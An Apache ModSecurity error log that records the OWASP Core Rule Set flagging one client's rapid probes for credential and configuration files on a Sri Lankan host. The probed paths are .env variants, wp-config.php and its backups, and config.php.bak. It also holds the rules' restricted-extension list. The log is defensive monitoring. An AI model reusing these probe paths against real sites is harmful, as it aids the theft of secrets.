[Fri Jul 17 10:19:10.896248 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.old"] [unique_id "alm0RjM07o9wrUj-Wv1y9gAAABQ"]
[Fri Jul 17 10:19:10.896491 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.old"] [unique_id "alm0RjM07o9wrUj-Wv1y9gAAABQ"]
[Fri Jul 17 10:19:10.896853 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.old"] [unique_id "alm0RjM07o9wrUj-Wv1y9gAAABQ"]
[Fri Jul 17 10:19:11.059631 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0RjM07o9wrUj-Wv1y9gAAABQ"]
[Fri Jul 17 10:19:11.150889 2026] [security2:error] [pid 2070774:tid 2070774] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "alm0R5gSqNK-noXr5RtmZAAAAA4"]
[Fri Jul 17 10:19:11.151113 2026] [security2:error] [pid 2070774:tid 2070774] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "alm0R5gSqNK-noXr5RtmZAAAAA4"]
[Fri Jul 17 10:19:11.151351 2026] [security2:error] [pid 2070774:tid 2070774] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "alm0R5gSqNK-noXr5RtmZAAAAA4"]
[Fri Jul 17 10:19:11.359954 2026] [security2:error] [pid 2070774:tid 2070774] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0R5gSqNK-noXr5RtmZAAAAA4"]
[Fri Jul 17 10:19:11.582141 2026] [security2:error] [pid 2063895:tid 2063895] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/config/.env"] [unique_id "alm0Rxf3V7HXByUCfDSz1wAAABY"]
[Fri Jul 17 10:19:11.582350 2026] [security2:error] [pid 2063895:tid 2063895] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/config/.env"] [unique_id "alm0Rxf3V7HXByUCfDSz1wAAABY"]
[Fri Jul 17 10:19:11.723951 2026] [security2:error] [pid 2065297:tid 2065297] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_45_no_01-english.pdf"] [unique_id "alm0R4QPslXM9Iu5soRtlQAAAAg"]
[Fri Jul 17 10:19:11.724505 2026] [security2:error] [pid 2065297:tid 2065297] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_45_no_01-english.pdf"] [unique_id "alm0R4QPslXM9Iu5soRtlQAAAAg"]
[Fri Jul 17 10:19:11.724980 2026] [security2:error] [pid 2065297:tid 2065297] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_45_no_01-english.pdf"] [unique_id "alm0R4QPslXM9Iu5soRtlQAAAAg"]
[Fri Jul 17 10:19:11.787564 2026] [security2:error] [pid 2063895:tid 2063895] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0Rxf3V7HXByUCfDSz1wAAABY"]
[Fri Jul 17 10:19:12.181733 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/src/.env"] [unique_id "alm0SJBVIrrUwtEhdaffhQAAAAU"]
[Fri Jul 17 10:19:12.181992 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/src/.env"] [unique_id "alm0SJBVIrrUwtEhdaffhQAAAAU"]
[Fri Jul 17 10:19:12.184341 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/app/.env"] [unique_id "alm0SP72foAPmCnen3StJwAAABs"]
[Fri Jul 17 10:19:12.184826 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/app/.env"] [unique_id "alm0SP72foAPmCnen3StJwAAABs"]
[Fri Jul 17 10:19:12.550190 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SJBVIrrUwtEhdaffhQAAAAU"]
[Fri Jul 17 10:19:12.553654 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SP72foAPmCnen3StJwAAABs"]
[Fri Jul 17 10:19:12.553890 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SP72foAPmCnen3StJwAAABs"]
[Fri Jul 17 10:19:12.553996 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SP72foAPmCnen3StJwAAABs"]
[Fri Jul 17 10:19:12.831775 2026] [security2:error] [pid 1993572:tid 1993572] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/backend/.env"] [unique_id "alm0SIl9vhFBGA6D8l-IYwAAAAw"]
[Fri Jul 17 10:19:12.832011 2026] [security2:error] [pid 1993572:tid 1993572] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/backend/.env"] [unique_id "alm0SIl9vhFBGA6D8l-IYwAAAAw"]
[Fri Jul 17 10:19:12.987306 2026] [security2:error] [pid 1993572:tid 1993572] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SIl9vhFBGA6D8l-IYwAAAAw"]
[Fri Jul 17 10:19:13.057650 2026] [security2:error] [pid 2065293:tid 2065293] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/api/.env"] [unique_id "alm0SXqWRBnLzLzgwXg1ZgAAAAQ"]
[Fri Jul 17 10:19:13.057973 2026] [security2:error] [pid 2065293:tid 2065293] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/api/.env"] [unique_id "alm0SXqWRBnLzLzgwXg1ZgAAAAQ"]
[Fri Jul 17 10:19:13.207609 2026] [security2:error] [pid 2070774:tid 2070774] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-25-05_10.pdf"] [unique_id "alm0SZgSqNK-noXr5RtmZQAAAA4"]
[Fri Jul 17 10:19:13.208186 2026] [security2:error] [pid 2070774:tid 2070774] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-25-05_10.pdf"] [unique_id "alm0SZgSqNK-noXr5RtmZQAAAA4"]
[Fri Jul 17 10:19:13.210959 2026] [security2:error] [pid 2070774:tid 2070774] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-25-05_10.pdf"] [unique_id "alm0SZgSqNK-noXr5RtmZQAAAA4"]
[Fri Jul 17 10:19:13.549863 2026] [security2:error] [pid 2065293:tid 2065293] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SXqWRBnLzLzgwXg1ZgAAAAQ"]
[Fri Jul 17 10:19:14.005977 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "alm0SpBVIrrUwtEhdaffhgAAAAU"]
[Fri Jul 17 10:19:14.006284 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "alm0SpBVIrrUwtEhdaffhgAAAAU"]
[Fri Jul 17 10:19:14.164986 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SpBVIrrUwtEhdaffhgAAAAU"]
[Fri Jul 17 10:19:14.209921 2026] [security2:error] [pid 2018768:tid 2018768] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/config.php.bak"] [unique_id "alm0SlCBpfuYyhJ140vhUAAAAB4"]
[Fri Jul 17 10:19:14.210361 2026] [security2:error] [pid 2018768:tid 2018768] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/config.php.bak"] [unique_id "alm0SlCBpfuYyhJ140vhUAAAAB4"]
[Fri Jul 17 10:19:14.210656 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.backup"] [unique_id "alm0SlmuKRtYY-VAGIVYfgAAAAk"]
